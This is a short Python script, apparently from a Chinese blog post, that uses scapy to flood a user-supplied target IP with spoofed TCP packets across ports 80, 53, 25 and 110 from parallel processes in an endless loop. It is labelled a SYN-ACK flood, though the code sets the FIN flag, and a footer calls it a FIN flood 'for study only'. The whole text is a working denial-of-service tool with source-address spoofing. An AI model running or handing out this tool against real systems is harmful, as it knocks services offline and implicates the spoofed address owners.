#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# SYN-ACK Flood Tool Python
from multiprocessing import Process
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def randInt():
x = random.randint(1000, 9000)
return x
def SYN_ACK_Flood(dstIP, srcIP, Port, counter):
total = 0
print("Packets are sending ...")
for x in range(0, counter):
IP_Packet = IP()
IP_Packet.dst = dstIP
IP_Packet.src = srcIP
TCP_Packet = TCP()
TCP_Packet.dport = Port
TCP_Packet.flags = "F"
# 发送ACK数据包
send(IP_Packet / TCP_Packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print("#############################")
print("# github.com/Zhoushukang #")
print("#############################")
print("# Welcome to SYN-ACK Flood Tool #")
print("#############################")
dstIP = input("\nTarget IP : ")
# dstPort = input("Target Port : ")
dstPort = [80, 53, 25, 110]
srcIP = input("\nsourse IP : ")
return dstIP, srcIP, dstPort
def attack(dstIP, srcIP, dstPort, counter):
j = 0
while True:
if j == len(dstPort):
j = 0
Port = dstPort[j]
SYN_ACK_Flood(dstIP, srcIP, Port, int(counter))
j += 1
if __name__ == '__main__':
num = input("并行数:")
counter = input("你需要发送多少包 : ")
list = []
dstIP, srcIP, dstPort = info()
for i in range(int(num)):
p = Process(target=attack, args=(dstIP, srcIP, dstPort, counter))
list.append(p)
for i in list:
i.start()
for i in list:
i.join()
【FIN flood】仅供学习,切忌用于违法犯罪
最新推荐文章于 2024-08-21 11:02:00 发布